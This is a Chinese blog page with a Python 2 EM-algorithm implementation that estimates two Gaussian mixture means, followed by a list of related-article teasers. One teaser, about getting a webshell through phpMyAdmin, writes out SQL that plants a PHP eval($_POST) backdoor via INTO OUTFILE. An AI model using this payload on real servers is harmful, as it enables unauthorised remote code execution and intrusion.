python概率密度函数参数估计_EM算法求高斯混合模型参数估计——Python实现

#coding:gbk

import math

import copy

import numpy as np

import matplotlib.pyplot as plt

isdebug = False

# 指定k个高斯分布参数,这里指定k=2。注意2个高斯分布具有相同均方差Sigma,分别为Mu1,Mu2。

def ini_data(Sigma,Mu1,Mu2,k,N):

global X

global Mu

global Expectations

X = np.zeros((1,N))

Mu = np.random.random(2)

Expectations = np.zeros((N,k))

for i in xrange(0,N):

if np.random.random(1) > 0.5:

X[0,i] = np.random.normal()*Sigma + Mu1

else:

X[0,i] = np.random.normal()*Sigma + Mu2

if isdebug:

print "***********"

print u"初始观测数据X:"

print X

# EM算法:步骤1,计算E[zij]

def e_step(Sigma,k,N):

global Expectations

global Mu

global X

for i in xrange(0,N):

Denom = 0

for j in xrange(0,k):

Denom += math.exp((-1/(2*(float(Sigma**2))))*(float(X[0,i]-Mu[j]))**2)

for j in xrange(0,k):

Numer = math.exp((-1/(2*(float(Sigma**2))))*(float(X[0,i]-Mu[j]))**2)

Expectations[i,j] = Numer / Denom

if isdebug:

print "***********"

print u"隐藏变量E(Z):"

print Expectations

# EM算法:步骤2,求最大化E[zij]的参数Mu

def m_step(k,N):

global Expectations

global X

for j in xrange(0,k):

Numer = 0

Denom = 0

for i in xrange(0,N):

Numer += Expectations[i,j]*X[0,i]

Denom +=Expectations[i,j]

Mu[j] = Numer / Denom

# 算法迭代iter_num次,或达到精度Epsilon停止迭代

def run(Sigma,Mu1,Mu2,k,N,iter_num,Epsilon):

ini_data(Sigma,Mu1,Mu2,k,N)

print u"初始:", Mu

for i in range(iter_num):

Old_Mu = copy.deepcopy(Mu)

e_step(Sigma,k,N)

m_step(k,N)

print i,Mu

if sum(abs(Mu-Old_Mu)) < Epsilon:

break

if __name__ == '__main__':

run(6,40,20,2,1000,1000,0.0001)

plt.hist(X[0,:],50)

plt.show()

本代码用于模拟k=2个正态分布的均值估计。其中ini_data(Sigma,Mu1,Mu2,k,N)函数用于生成训练样本,此训练样本时从两个高斯分布中随机生成的,其中高斯分布a均值Mu1=40、均方差Sigma=6,高斯分布b均值Mu2=20、均方差Sigma=6,生成的样本分布如下图所示。由于本问题中实现无法直接冲样本数据中获知两个高斯分布参数,因此需要使用EM算法估算出具体Mu1、Mu2取值。

图 1  样本数据分布

在图1的样本数据下,在第11步时,迭代终止,EM估计结果为:

Mu=[ 40.55261688  19.34252468]

附:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/373907.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

phpmyadmin 各种技巧拿 webshell

site.com/phpMyAdminsite.com/sqlD:\wamp\www账号还有密码root 密码第一种CREATE TABLE mysql.darkmoon (darkmoon1 TEXT NOT NULL );INSERT INTO mysql.darkmoon (darkmoon1 ) VALUES (<?php eval($_POST[pass]);?>);SELECT darkmoon1 FROM darkmoon INTO OUTFILE d:/…

Finally语句块的执行

一、finally语句块是否一定执行&#xff1f; Java中异常捕获机制try...catch...finally块中的finally语句是不是一定会被执行&#xff1f;很多人都说不是&#xff0c;当然他们的回答是正确的&#xff0c;经过试验&#xff0c;至少以下有两种情况下finally语句是不会被执行的&am…

面向对象 封装 集成 特性

访问修饰符&#xff1a;pubulc:公共的&#xff0c;只要引用了命名空间&#xff0c;就可以随意进行访问 private:私有的&#xff0c;只有当前类内部才可以访问 internal&#xff1a;内部的&#xff0c;当前程序集内可以访问&#xff0c;程序集就是命名空间&#xff0c;此修饰符是…

sql 插入text字段包含特殊字符_Kettle(PDI)转换中输出之插入/更新详解

概述Insert / update(插入 / 更新)此步骤首先使用一个或多个查询关键字查找表中的一行。如果找不到该行&#xff0c;则插入该行。如果可以找到它&#xff0c;并且要更新的字段相同&#xff0c;则不执行任何操作。如果它们不完全相同&#xff0c;则更新表中的行。注意&#xff1…

使用Java发送电子邮件

我开始使用Java作为简单的“如何发送电子邮件”来撰写这篇文章&#xff0c;但是后来我发现我需要简要解释更多事情。 因此&#xff0c;这是有关使用Java发送电子邮件的所有摘要。 在Java SE平台之外&#xff08;但包含在JavaEE中&#xff09;&#xff0c; JavaMail软件包提供了…

一张图让你看清Java集合类(Java集合类的总结)

如今关于Java集合类的文章非常多&#xff0c;可是我近期看到一个非常有意思图片&#xff0c;基本上把Java集合的整体框架都给展现出来了。非常直观。 假设发现图片看不清楚。点此处看大图 在这里&#xff0c;集合类分为了Map和Collection两个大的类别。 处于图片左上角的那一块…

CSDN挑战编程——《数学问题》

数学问题 题目详情: 给你两个长度为n的正整数序列分别为{a1,a2,a3...an},{b1,b2,b3...bn},0<ai,bi<100&#xff1b; 设Smax{x1*a1x2*a2x3*a3...xn*an,(1-x1)*b1(1-x2)*b2(1-x3)*b3...(1-xn)*bn}&#xff0c;xi为整数&#xff0c;0<xi<1。 请你求出S的最小值。 输入…

【P1835】小红花

很简单的题&#xff0c;然而我没想到&#xff0c;在NOIP上怎么办嘛QAQ 话说这题不知道怎么分类啊……先扔到玄学里边把…… 原题&#xff1a; Fj在圣诞节来临之际&#xff0c;决定给他的奶牛发一些小红花。现在Fj一共有N头奶牛&#xff0c;这N头牛按照编号1..N&#xff0c;排成…

python多维数组运用_使用Python将文件读入多维数组

If I have a text file like this:Hello WorldHow are you?Bye WorldHow would I read it into a multidimensional array like this:[["Hello", "World"],["How", "are", "you?"],["Bye" "World"]]I…

Java日志混乱

每个应用程序都需要记录日志。 现在&#xff0c;对于在Java中确切使用什么有很多选择。 最著名的框架是&#xff1a;log4j&#xff0c;logback&#xff0c;commons-logging&#xff0c;slf4j&#xff0c;java.util.logging。 还有更多的东西–时不时有人决定编写自己的记录器–…

Cocos2d-x 3.2 Lua演示样例FontTest(字体測试)

Cocos2d-x 3.2 Lua演示样例FontTest&#xff08;字体測试&#xff09;本篇博客介绍Cocos2d-x 3.2中Lua測试项目中的FontTest样例&#xff0c;主要使用了字体文件来创建我们想要的字体样式&#xff1a;第一个參数为文本。第二參数为ttf字体文件&#xff0c;第三个參数为字体大小…

CSDN挑战编程——《绝对值最小》

绝对值最小 题目详情: 给你一个数组A[n],请你计算出ansmin(|A[i]A[j]|)(0<i,j<n). 例如&#xff1a;A{1&#xff0c; 4&#xff0c; -3}&#xff0c; 则&#xff1a; |A[0] A[0]| |1 1| 2. |A[0] A[1]| |1 4| 5. |A[0] A[2]| |1 (-3)| 2. |A[1] A[1]| |4 …

linux上安装memcached步骤

libevent: http://libevent.org/ 服务器端&#xff1a;https://code.google.com/archive/p/memcached/downloads 客户端&#xff1a; http://pecl.php.net/package/memcache 和 http://pecl.php.net/package/memcached 二选一 http://chenzhou123520.iteye.com/blog/1…

IPC之SystemV

svipc - System V interprocess communication mechanisms linux实现的System V interprocess communication (IPC)机制包含消息队列&#xff08;message queues&#xff09;&#xff0c;信号集&#xff08;semaphore sets&#xff09;&#xff0c;和共享内存&#xff08;share…

oracle create user

sqlplus /nolog conn sys/pw123456orcl as sysdba CREATE USER zengwenfeng IDENTIFIED BY zengwenfeng ; GRANT ALL PRIVILEGES TO zengwenfeng ; COMMIT; C:\Users\Administrator>sqlplus /nologSQL*Plus: Release 11.2.0.1.0 Production on 星期日 12月 24 21:38:24 20…

具有GlassFish和一致性的高性能JPA –第2部分

在我的四部分系列的第二部分中&#xff0c;我将解释将Coherence与EclipseLink和GlassFish一起使用的策略第一。这描述了配置Coherence的JPA支持的Cache所必须采取的步骤&#xff0c;以及如何在GlassFish中使用它。高性能数据存储。 一般的做法 您可以将Coherence API与通过JPA映…

arm板telnetd为什么运行不了_一种基于ARM的嵌入式系统开发的方案详细讲解

背景介绍在日益信息化的社会中&#xff0c;各种各样的嵌入式系统已经全面渗透到日常生活的每一个角落。嵌入式系统的功能越来越复杂&#xff0c;这就使得一个嵌入式系统产品从市场需求立项到方案选择、样机研制、定型量产所需要的开发费用越来越多&#xff0c;所需开发时间越来…

反素数 -- 数学

反素数就是区间内约数个数最多的那个数。 在ACM题目里&#xff0c; 一般是求约数最多而且数字最小的那个数&#xff0c;【1--n】 二是求约数刚好等于n的最小的那个数 三是求区间里的最小反素数【beign&#xff0c;end】 1和3有区别吗&#xff1f;有&#xff0c;1可以加速&#…

编程挑战系统的输入和输出详细说明

在高校俱乐部线上编程挑战中&#xff0c;一道题目的所有测试数据是放在一个文本文件中&#xff0c;选手将一道题目的程序提交给评判系统运行&#xff0c;程序从该文件中读取测试数据&#xff0c;再把运行结果输出到另一个文本文件中。系统把输出文件与标准答案比对&#xff0c;…

上传文件---未能找到路径“D:\MyProject\Files\”的一部分

C# 使用控件FileUpload 上传文件&#xff0c;简单实例&#xff1a; protected void btnUpload_Click(object sender, EventArgs e){string path Server.MapPath("~/Files/");if (fileUpload.HasFile true){string filename fileUpload.FileName.ToLower();fileUpl…